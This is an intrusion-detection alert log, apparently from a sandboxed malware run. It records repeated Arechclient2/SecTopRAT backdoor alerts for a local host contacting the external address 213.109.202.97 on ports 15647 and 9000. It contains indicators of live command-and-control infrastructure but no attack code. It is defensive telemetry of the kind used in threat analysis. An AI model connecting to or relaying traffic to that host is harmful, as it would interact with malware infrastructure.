2024-10-19T03:38:22.352426+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.367083+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.382967+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.398385+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.414837+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.429827+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.446108+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.460916+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.476490+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.492144+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.507886+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.523351+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.540101+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.554821+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.570375+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.588212+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.602363+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.618061+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.634056+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.648579+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.666369+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.679607+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:31.213228+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50048	213.109.202.97	15647	TCP
2024-10-19T03:38:31.976368+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50048	213.109.202.97	15647	TCP
2024-10-19T03:38:35.404222+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:35.421762+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:35.436934+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:36.038298+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:36.072585+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:36.127874+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:45.662988+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:46.584294+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:46.584368+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:47.483506+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:47.494757+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:39:02.335847+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50067	213.109.202.97	15647	TCP
2024-10-19T03:39:03.010553+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50067	213.109.202.97	15647	TCP
2024-10-19T03:39:03.015624+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50067	213.109.202.97	15647	TCP
2024-10-19T03:39:11.367038+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:11.476284+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:12.666908+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:12.851412+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:14.972220+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50081	213.109.202.97	15647	TCP
2024-10-19T03:39:15.034458+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50081	213.109.202.97	15647	TCP
2024-10-19T03:39:20.866640+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50085	213.109.202.97	15647	TCP
2024-10-19T03:40:12.498196+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50130	213.109.202.97	15647	TCP
2024-10-19T03:40:13.124422+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50130	213.109.202.97	15647	TCP
2024-10-19T03:40:19.064822+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50138	213.109.202.97	15647	TCP
2024-10-19T03:40:19.378089+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:20.053985+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:20.068731+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:20.073562+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:32.517624+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50153	213.109.202.97	15647	TCP
2024-10-19T03:40:40.457450+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50161	213.109.202.97	15647	TCP
2024-10-19T03:40:49.463339+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50168	213.109.202.97	15647	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-19T03:37:04.890122+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49705	213.109.202.97	9000	TCP
2024-10-19T03:37:16.225524+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49706	213.109.202.97	9000	TCP
2024-10-19T03:37:17.225522+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49708	213.109.202.97	9000	TCP
2024-10-19T03:37:18.209920+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49711	213.109.202.97	9000	TCP
2024-10-19T03:37:19.241225+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49713	213.109.202.97	9000	TCP
2024-10-19T03:37:27.805479+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49716	213.109.202.97	9000	TCP
2024-10-19T03:37:28.741349+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49749	213.109.202.97	9000	TCP
2024-10-19T03:37:30.006991+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49754	213.109.202.97	9000	TCP
2024-10-19T03:37:31.022620+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49761	213.109.202.97	9000	TCP
2024-10-19T03:37:32.038233+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49767	213.109.202.97	9000	TCP
2024-10-19T03:37:33.085144+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49773	213.109.202.97	9000	TCP
2024-10-19T03:37:34.085162+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49782	213.109.202.97	9000	TCP
2024-10-19T03:37:35.116444+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49789	213.109.202.97	9000	TCP
2024-10-19T03:37:36.116466+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49795	213.109.202.97	9000	TCP
2024-10-19T03:37:37.194559+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49801	213.109.202.97	9000	TCP
2024-10-19T03:37:38.194590+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49807	213.109.202.97	9000	TCP
2024-10-19T03:37:39.194778+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49813	213.109.202.97	9000	TCP
2024-10-19T03:37:40.179169+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49819	213.109.202.97	9000	TCP
2024-10-19T03:37:41.210341+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49825	213.109.202.97	9000	TCP
2024-10-19T03:37:42.194785+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49831	213.109.202.97	9000	TCP
2024-10-19T03:37:43.179113+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49840	213.109.202.97	9000	TCP
2024-10-19T03:37:44.194751+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49848	213.109.202.97	9000	TCP
2024-10-19T03:37:45.226037+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49854	213.109.202.97	9000	TCP
2024-10-19T03:37:46.257273+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49860	213.109.202.97	9000	TCP
2024-10-19T03:37:47.272824+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49866	213.109.202.97	9000	TCP
2024-10-19T03:37:48.257212+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49872	213.109.202.97	9000	TCP
2024-10-19T03:37:49.241695+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49878	213.109.202.97	9000	TCP
2024-10-19T03:37:50.257341+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49884	213.109.202.97	9000	TCP
2024-10-19T03:37:51.241622+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49894	213.109.202.97	9000	TCP
2024-10-19T03:37:52.288533+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49900	213.109.202.97	9000	TCP
2024-10-19T03:37:53.304160+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49906	213.109.202.97	9000	TCP
2024-10-19T03:37:54.319800+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49913	213.109.202.97	9000	TCP
2024-10-19T03:37:55.382301+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49919	213.109.202.97	9000	TCP
2024-10-19T03:37:56.382472+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49925	213.109.202.97	9000	TCP
2024-10-19T03:37:57.397968+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49932	213.109.202.97	9000	TCP
2024-10-19T03:37:58.585525+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49938	213.109.202.97	9000	TCP
2024-10-19T03:37:59.601106+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49944	213.109.202.97	9000	TCP
2024-10-19T03:38:00.601159+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49951	213.109.202.97	9000	TCP
2024-10-19T03:38:01.601135+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49957	213.109.202.97	9000	TCP
2024-10-19T03:38:02.616778+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49967	213.109.202.97	9000	TCP
2024-10-19T03:38:03.694916+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49973	213.109.202.97	9000	TCP
2024-10-19T03:38:04.726181+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49979	213.109.202.97	9000	TCP
2024-10-19T03:38:05.710550+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49985	213.109.202.97	9000	TCP
2024-10-19T03:38:06.679340+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49991	213.109.202.97	9000	TCP
2024-10-19T03:38:07.663715+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49997	213.109.202.97	9000	TCP
2024-10-19T03:38:08.663718+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50004	213.109.202.97	9000	TCP
2024-10-19T03:38:09.663755+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50014	213.109.202.97	9000	TCP
2024-10-19T03:38:10.663760+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50019	213.109.202.97	9000	TCP
2024-10-19T03:38:11.679425+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50025	213.109.202.97	9000	TCP
2024-10-19T03:38:12.679413+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50027	213.109.202.97	9000	TCP
2024-10-19T03:38:13.726393+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50028	213.109.202.97	9000	TCP
2024-10-19T03:38:14.741967+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50029	213.109.202.97	9000	TCP
2024-10-19T03:38:15.741931+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50030	213.109.202.97	9000	TCP
2024-10-19T03:38:16.714291+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50031	213.109.202.97	9000	TCP
2024-10-19T03:38:17.710709+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50032	213.109.202.97	9000	TCP
2024-10-19T03:38:18.710873+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50033	213.109.202.97	9000	TCP
2024-10-19T03:38:19.741985+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50034	213.109.202.97	9000	TCP
2024-10-19T03:38:20.726763+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50035	213.109.202.97	9000	TCP
2024-10-19T03:38:21.726401+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50036	213.109.202.97	9000	TCP
2024-10-19T03:38:22.757855+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50040	213.109.202.97	9000	TCP
2024-10-19T03:38:23.788941+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50043	213.109.202.97	9000	TCP
2024-10-19T03:38:24.852085+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50044	213.109.202.97	9000	TCP
2024-10-19T03:38:29.195529+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50045	213.109.202.97	9000	TCP
2024-10-19T03:38:30.290270+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50046	213.109.202.97	9000	TCP
2024-10-19T03:38:31.695710+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50047	213.109.202.97	9000	TCP
2024-10-19T03:38:33.085917+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50049	213.109.202.97	9000	TCP
2024-10-19T03:38:37.101617+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50050	213.109.202.97	9000	TCP
2024-10-19T03:38:38.085980+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50052	213.109.202.97	9000	TCP
2024-10-19T03:38:39.508026+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50053	213.109.202.97	9000	TCP
2024-10-19T03:38:40.586023+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50054	213.109.202.97	9000	TCP
2024-10-19T03:38:41.663265+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50055	213.109.202.97	9000	TCP
2024-10-19T03:38:42.650915+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50056	213.109.202.97	9000	TCP
2024-10-19T03:38:51.152614+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50057	213.109.202.97	9000	TCP
2024-10-19T03:38:52.101804+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50059	213.109.202.97	9000	TCP
2024-10-19T03:38:57.101854+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50060	213.109.202.97	9000	TCP
2024-10-19T03:38:58.164959+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50061	213.109.202.97	9000	TCP
2024-10-19T03:38:59.101860+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50062	213.109.202.97	9000	TCP
2024-10-19T03:39:00.164901+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50063	213.109.202.97	9000	TCP
2024-10-19T03:39:01.108092+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50064	213.109.202.97	9000	TCP
2024-10-19T03:39:02.289405+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50065	213.109.202.97	9000	TCP
2024-10-19T03:39:03.313524+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50066	213.109.202.97	9000	TCP
2024-10-19T03:39:04.289435+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50068	213.109.202.97	9000	TCP
2024-10-19T03:39:05.398823+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50069	213.109.202.97	9000	TCP
2024-10-19T03:39:06.410610+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50070	213.109.202.97	9000	TCP
2024-10-19T03:39:07.414556+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50071	213.109.202.97	9000	TCP
2024-10-19T03:39:08.383231+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50072	213.109.202.97	9000	TCP
2024-10-19T03:39:09.414490+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50073	213.109.202.97	9000	TCP
2024-10-19T03:39:10.415076+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50074	213.109.202.97	9000	TCP
2024-10-19T03:39:11.414508+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50075	213.109.202.97	9000	TCP
2024-10-19T03:39:12.448466+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50077	213.109.202.97	9000	TCP
2024-10-19T03:39:13.414520+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50078	213.109.202.97	9000	TCP
2024-10-19T03:39:14.586582+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50079	213.109.202.97	9000	TCP
2024-10-19T03:39:18.617891+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50080	213.109.202.97	9000	TCP
2024-10-19T03:39:19.530868+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50082	213.109.202.97	9000	TCP
2024-10-19T03:39:20.602129+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50083	213.109.202.97	9000	TCP
2024-10-19T03:39:21.649453+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50084	213.109.202.97	9000	TCP
2024-10-19T03:39:22.649326+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50086	213.109.202.97	9000	TCP
2024-10-19T03:39:23.586567+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50087	213.109.202.97	9000	TCP
2024-10-19T03:39:24.602176+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50088	213.109.202.97	9000	TCP
2024-10-19T03:39:25.588171+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50089	213.109.202.97	9000	TCP
2024-10-19T03:39:26.813789+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50090	213.109.202.97	9000	TCP
2024-10-19T03:39:27.963053+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50091	213.109.202.97	9000	TCP
2024-10-19T03:39:28.992980+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50092	213.109.202.97	9000	TCP
2024-10-19T03:39:30.102233+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50093	213.109.202.97	9000	TCP
2024-10-19T03:39:31.086624+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50094	213.109.202.97	9000	TCP
2024-10-19T03:39:32.102400+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50095	213.109.202.97	9000	TCP
2024-10-19T03:39:33.086996+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50096	213.109.202.97	9000	TCP
2024-10-19T03:39:34.008515+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50097	213.109.202.97	9000	TCP
2024-10-19T03:39:35.071577+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50098	213.109.202.97	9000	TCP
2024-10-19T03:39:36.073559+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50099	213.109.202.97	9000	TCP
2024-10-19T03:39:37.102454+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50100	213.109.202.97	9000	TCP
2024-10-19T03:39:38.211779+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50102	213.109.202.97	9000	TCP
2024-10-19T03:39:39.227547+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50103	213.109.202.97	9000	TCP
2024-10-19T03:39:40.211716+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50104	213.109.202.97	9000	TCP
2024-10-19T03:39:41.180468+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50105	213.109.202.97	9000	TCP
2024-10-19T03:39:42.211897+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50106	213.109.202.97	9000	TCP
2024-10-19T03:39:43.249915+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50107	213.109.202.97	9000	TCP
2024-10-19T03:39:44.260130+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50108	213.109.202.97	9000	TCP
2024-10-19T03:39:45.211827+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50109	213.109.202.97	9000	TCP
2024-10-19T03:39:46.258923+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50110	213.109.202.97	9000	TCP
2024-10-19T03:39:47.211913+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50111	213.109.202.97	9000	TCP
2024-10-19T03:39:48.211826+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50112	213.109.202.97	9000	TCP
2024-10-19T03:39:49.195901+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50113	213.109.202.97	9000	TCP
2024-10-19T03:39:50.211874+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50114	213.109.202.97	9000	TCP
2024-10-19T03:39:51.274902+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50115	213.109.202.97	9000	TCP
2024-10-19T03:39:56.260778+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50116	213.109.202.97	9000	TCP
2024-10-19T03:39:58.413784+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50117	213.109.202.97	9000	TCP
2024-10-19T03:39:59.415338+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50118	213.109.202.97	9000	TCP
2024-10-19T03:40:00.500403+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50119	213.109.202.97	9000	TCP
2024-10-19T03:40:01.477584+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50120	213.109.202.97	9000	TCP
2024-10-19T03:40:02.508857+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50121	213.109.202.97	9000	TCP
2024-10-19T03:40:03.586985+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50122	213.109.202.97	9000	TCP
2024-10-19T03:40:04.602715+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50123	213.109.202.97	9000	TCP
2024-10-19T03:40:05.750920+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50124	213.109.202.97	9000	TCP
2024-10-19T03:40:06.790146+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50125	213.109.202.97	9000	TCP
2024-10-19T03:40:08.852868+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50126	213.109.202.97	9000	TCP
2024-10-19T03:40:10.679831+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50127	213.109.202.97	9000	TCP
2024-10-19T03:40:11.790935+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50128	213.109.202.97	9000	TCP
2024-10-19T03:40:12.790216+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50129	213.109.202.97	9000	TCP
2024-10-19T03:40:13.787031+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50131	213.109.202.97	9000	TCP
2024-10-19T03:40:14.790208+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50132	213.109.202.97	9000	TCP
2024-10-19T03:40:15.853544+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50133	213.109.202.97	9000	TCP
2024-10-19T03:40:16.853055+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50134	213.109.202.97	9000	TCP
2024-10-19T03:40:17.821508+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50135	213.109.202.97	9000	TCP
2024-10-19T03:40:18.884040+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50136	213.109.202.97	9000	TCP
2024-10-19T03:40:19.899730+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50137	213.109.202.97	9000	TCP
2024-10-19T03:40:20.915277+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50140	213.109.202.97	9000	TCP
2024-10-19T03:40:21.948801+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50141	213.109.202.97	9000	TCP
2024-10-19T03:40:22.915296+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50142	213.109.202.97	9000	TCP
2024-10-19T03:40:23.962551+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50143	213.109.202.97	9000	TCP
2024-10-19T03:40:24.955161+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50144	213.109.202.97	9000	TCP
2024-10-19T03:40:25.994033+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50145	213.109.202.97	9000	TCP
2024-10-19T03:40:26.993461+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50146	213.109.202.97	9000	TCP
2024-10-19T03:40:28.009336+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50147	213.109.202.97	9000	TCP
2024-10-19T03:40:28.993846+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50148	213.109.202.97	9000	TCP
2024-10-19T03:40:29.993492+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50149	213.109.202.97	9000	TCP
2024-10-19T03:40:31.015179+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50150	213.109.202.97	9000	TCP
2024-10-19T03:40:32.056456+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50151	213.109.202.97	9000	TCP
2024-10-19T03:40:33.103193+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50152	213.109.202.97	9000	TCP
2024-10-19T03:40:34.102925+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50154	213.109.202.97	9000	TCP
2024-10-19T03:40:35.110009+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50155	213.109.202.97	9000	TCP
2024-10-19T03:40:36.197543+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50156	213.109.202.97	9000	TCP
2024-10-19T03:40:37.196921+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50157	213.109.202.97	9000	TCP
2024-10-19T03:40:39.197059+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50158	213.109.202.97	9000	TCP
2024-10-19T03:40:40.212377+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50159	213.109.202.97	9000	TCP
2024-10-19T03:40:41.212753+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50160	213.109.202.97	9000	TCP
2024-10-19T03:40:42.181141+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50162	213.109.202.97	9000	TCP
2024-10-19T03:40:43.556335+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50163	213.109.202.97	9000	TCP
2024-10-19T03:40:44.668729+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50164	213.109.202.97	9000	TCP
2024-10-19T03:40:45.776124+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50165	213.109.202.97	9000	TCP
2024-10-19T03:40:46.808646+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50166	213.109.202.97	9000	TCP
2024-10-19T03:40:50.790575+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50167	213.109.202.97	9000	TCP
2024-10-19T03:40:52.260920+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50169	213.109.202.97	9000	TCP
2024-10-19T03:40:53.212518+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50170	213.109.202.97	9000	TCP
2024-10-19T03:40:54.275753+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50171	213.109.202.97	9000	TCP
2024-10-19T03:40:55.276133+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50172	213.109.202.97	9000	TCP
2024-10-19T03:40:56.215438+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50173	213.109.202.97	9000	TCP
2024-10-19T03:40:57.290654+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50174	213.109.202.97	9000	TCP
2024-10-19T03:40:58.307228+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50175	213.109.202.97	9000	TCP
2024-10-19T03:40:59.291216+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50176	213.109.202.97	9000	TCP
2024-10-19T03:41:00.290667+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50177	213.109.202.97	9000	TCP
2024-10-19T03:41:01.338679+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50178	213.109.202.97	9000	TCP
2024-10-19T03:41:02.290690+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50179	213.109.202.97	9000	TCP
2024-10-19T03:41:04.166103+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50180	213.109.202.97	9000	TCP
2024-10-19T03:41:05.291238+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50181	213.109.202.97	9000	TCP
